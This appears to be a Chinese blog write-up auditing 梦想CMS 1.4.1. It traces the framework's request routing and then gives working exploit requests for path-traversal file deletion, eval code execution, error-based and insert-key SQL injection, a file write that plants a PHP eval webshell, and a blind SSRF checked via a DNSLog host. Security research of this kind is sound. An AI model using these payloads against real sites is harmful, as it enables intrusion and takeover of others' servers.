梦想CMS漏洞合集

梦想CMS漏洞合集

环境说明

  • 梦想CMS 1.4.1
  • PHP 5.6.9
  • mysql 5.7.26
  • firefox(这里用chrome加载不了后台页面,难道是版本太老了)

框架运行逻辑

经典MVC架构,从入口文件开始找,然后去看控制器是如何接收参数调用函数即可。

入口文件

  • index.php
image-20220426102618647

RUN_TYPE用来获取模板路径,前台是index,后台是admin

config.inc.php是配置文件

run.inc.php是正式开始的地方

  • run.inc.php
image-20220426102755028

这cms注释特别清晰,可以看到if选择使用什么模板,然后将模板路径存放到config数组

image-20220426102902592

包含一些公用的库

image-20220426102936614

spl_autoload_register函数作用是new一个类如果没有找到就会触发指定的函数,这里就是requireClassName函数

new找不到类就会触发requireClassName函数,接下来会去找这个类文件,找到了就包含,没找到就触发_404函数

image-20220426103610667

上面这段是伪静态,可以先不用看

下面就是入口

image-20220426103634684

如果一个三元表达式,如果没有拓展$extendEnt=Action

获取m参数,首字母大写

拼接$m.$extendEntclass_exists查看是否存在这个类,如果没有这个类m默认为index

下面实例化这个类,调用类内run方法

前台控制器

image-20220426103812199
  • IndexAction.class.php
image-20220426103914016

类中没有run方法,构造函数调用父类构造函数,查看父类

  • HomeAction.class.php
image-20220426104057503

这个类依然没有run方法,再次调用父类构造函数

  • /class/Action.class.php
image-20220426104205297

这个是控制器基类,从GET方法获取a参数的值,然后检查该方法是否存在,存在则调用该方法,否则调用index方法。

小结

看到这里,基本可以得出该框架是如何处理请求的

# 前台
http://127.0.0.1/index.php?m=类前缀&a=类内方法
# 后台
http://127.0.0.1/admin.php?m=类前缀&a=类内方法

下面就开始漏洞审计。

后台任意文件删除

漏洞位置:./c/admin/BackdbAction.class.php

直接看到最后的delOne方法:

image-20220426105359314

可以看到传入的$filename参数直接拼接在路径后面,然后调用file::unLink方法:

image-20220426105535283

file::unLink方法检查如果不是框架的根目录就直接删除该文件,所以如果我们能控制该$filename参数就可以实现任意文件删除。同时,这个delOne方法是个私有方法,看一下那里调用了该方法,并且参数要可控:

image-20220426105917037
  • delbackdb方法:
image-20220426110045368

这里从GET方法获取$filename参数就直接调用delOne删除该文件。

由于路径在$dir = ROOT_PATH.'file/back/'.$filename所以要往上走两次。

EXP:

http://127.0.0.1/admin.php?m=Backdb&a=delbackdb&filename=../../t.txt
  • delmorebackdb方法
image-20220426111016841

另外一个调用了delOne方法的地方是delmorebackdb方法,这里也是大同小异,用POST方法传个filename数组即可。

POST /lmxcms1.4/admin.php?m=Backdb&a=delmorebackdb 

filename%5B0%5D=..%2F..%2Ft.txt&filename%5B1%5D=..%2F..%2Fe.txt

重装GetShell漏洞

使用任意文件删除漏洞删除install_ok.txt可以重装CMS

后台任意文件上传

基本设置->文件设置

image-20220426112355811

在后台允许上传图片类型加上php就可以上传php文件

后台代码执行

漏洞位置:./c/admin/AcquisiAction.class.php

直接搜eval方法,找到showCjData方法:

image-20220426113344003

这里可以看到,用eval方法实现对$data变量的赋值,赋值的语句是拼接$temdata['data']这个变量的,看一下$temdata是如何取值的,跟进$this->model->caijiDataOne($_GET['cid'])

image-20220426152139982

根据注释说明是根据从GET方法传递的cid参数获取一条数据,跟进parent::oneModel($param)

image-20220426152321458

这里调用parent::oneDB()

image-20220426152444638

最后这里是从数据库中根据id获取数据返回一个数组包含了该条数据的所有字段值。

只要在数据库中插入一条数据,data字段的值为1;phpinfo();//

image-20220426153149117

查询出来的数据拼接到eval中就为eval('$data=1;phpinfo();//;')

image-20220426153354852

后台sql注入

漏洞位置:./c/admin/AcquisiAction.class.php

分析上一个代码执行漏洞的时候是否有发现最后数据库查询的oneDB方法里面的sql语句是直接拼接后执行的,显然有sql注入的问题,还是利用上一个请求的URL,构造报错注入语句:

http://localhost/admin.php?m=Acquisi&a=showCjData&id=1&lid=1&cid=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1)

showCjData方法的$this->model->caijiDataOne($_GET['cid'])处打下断点:

image-20220426154441988

可以看到这从GET方法取到的cid为1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1),到caijiDataOne方法:

image-20220426154651432

这里也没有对内容进行检查,只是将id构造为数组,到oneModel方法:

image-20220426154839145

依然没有检查过滤,最后到oneDB方法:

image-20220426160149451

这里对传进去的数组进行解析,构造成where条件语句,可以看到生成的$sql查询语句为:SELECT * FROM lmx_cj_data WHERE id=1 union select updatexml(1,concat(0x7e,(select @@version),0x7e),1) limit 1,输出:

image-20220426160130699

后台任意文件写入

漏洞位置:TemplateAction.class.php

找到edfile方法:

image-20220426160545004

定位到:file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));,这里调用了file类的put方法:

image-20220426162459150

put方法直接使用file_put_content方法写文件,这里的文件名和文件内容都可控,造成任意文件写入

EXP:

POST /admin.php?m=Template&a=editfile&dir=../

filename=shell.php&temcontent=<?php eval($_POST['pass']);&settemcontent=1

成功将一句话写入框架的根目录。

后台无回显ssrf漏洞

漏洞位置:/c/admin/AcquisiAction.class.php

找到testListContentUrl方法:

image-20220426163800046

从GET方法获取listurl参数然后解析,返回协议加域名字符串,定位到$caiji->getContentUrl($listurl,$urlpre,$param);,跟进去:

image-20220426164402938

此函数内没有任何过滤,走到getContent函数

image-20220426165000177

这里就是发起一个http的GET方法请求,

image-20220426171138599

后续使用正则表达式去控制回显,但是这里用了个U(非贪婪匹配)参数,导致一个字符都匹配不上,只能是无回显的SSRF了。

EXP:

GET /admin.php?m=Acquisi&a=testListContentUrl&listurl=http://t6n089.ceye.io
image-20220426170035651

DNSLog收到请求。

尝试连接3306开放的端口会显示报错

image-20220426170647011

端口未开放会显示连接失败:

image-20220426170734565

前台sql二次注入

前面那些都是后台的漏洞,需要管理员密码才能利用,危害不是很广,这里前台的漏洞就十分危险了。

漏洞位置:c/index/BookAction.class.php

这里是个留言板

image-20220426205547378

找到index方法:

image-20220426205529067

这里POST方法传setbook参数的时候就是提交留言,会进到checkData方法中:

image-20220426205720055

定位到$_POST = filter_strs($_POST);

image-20220426205821516

这里对POST方法传的参数值进行url解码,以及去掉php和html标签,还有%后返回数据,然后渠道下一个$data = p(1,1,1);

image-20220426210028003

这里就如注释所说,验证数据是否合法,主要是filter_sql($data)方法:

image-20220426210205109

可以看到,这里过滤了包括select在内的一些关键字。

回到checkData方法,后续就是检测data数组中是否有name和content参数,以及过滤其中的html代码,防止xss。

再回到index方法,checkData方法完成后下一步调用$this->bookModel->add($data)

image-20220426211220737

继续跟进addModel($data)

image-20220426211231843

最终跑到addDB方法:

image-20220426211422070

这里是用拼接的方法构造INSERT语句,由上面的分析可知,checkData已经对传入参数的值做了比较完善的过滤,所以从值难以进行注入;但是,checkData并没有对传入参数的键进行检查,但是后续又用了键拼接进sql语句中,这样就让sql注入有利可图了。

先进行一次正常的添加留言,看看正常的语句是长什么样的:

POST /index.php?m=Book&a=index

setbook=1&name=1&content=1
image-20220426212056688

可以看到,正常语句为:

INSERT INTO lmx_book(name,content,mail,tel,ip,time) VALUES('1','1','','','127.0.0.1','1650979237')

此时,我们注入点就是表中的字段名那里,构造:

POST /index.php?m=Book&a=index

setbook=1&name=1&content=1&time,ischeck)VALUES(version(),'1','','','127.0.0.1','1650976406','1')#=1

经过拼接之后的查询语句为:

INSERT INTO lmx_book(name,content,mail,tel,ip,time,ischeck)VALUES(version(),'1','','','127_0_0_1','1650976406','1')#,time) VALUES('1','1','','','127.0.0.1','1','1650980055')

这样一来就把version()执行的结果插入到lmx_book的name字段中了。

回到index方法:

image-20220426213806031

这里会对表中的数据进行查询显示,但是有个判断,就是ischeck的值为1。因此为了插入的数据能够在前端显示出来,在插入的时候要增加一个ischeck字段,使之为1。

回到前端页面能够看到回显的内容:

image-20220426213717376

最后,这里还有个小问题,就是URL传的参数的键不能存在空格和.号,若存在会自动将其转换为_,这点可以从上面拼接后的sql语句中看到,127.0.0.1变成了127_0_0_1。因此我们想使用select version()这样去查东西还需要进行个空格绕过,这里用到注释符进行绕过:

POST /index.php?m=Book&a=index

setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1650976406','1')#=1

注意查询的语句需要用()包裹起来。

参考资料

梦想CMS代码审计

梦想cms二次注入漏洞分析

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇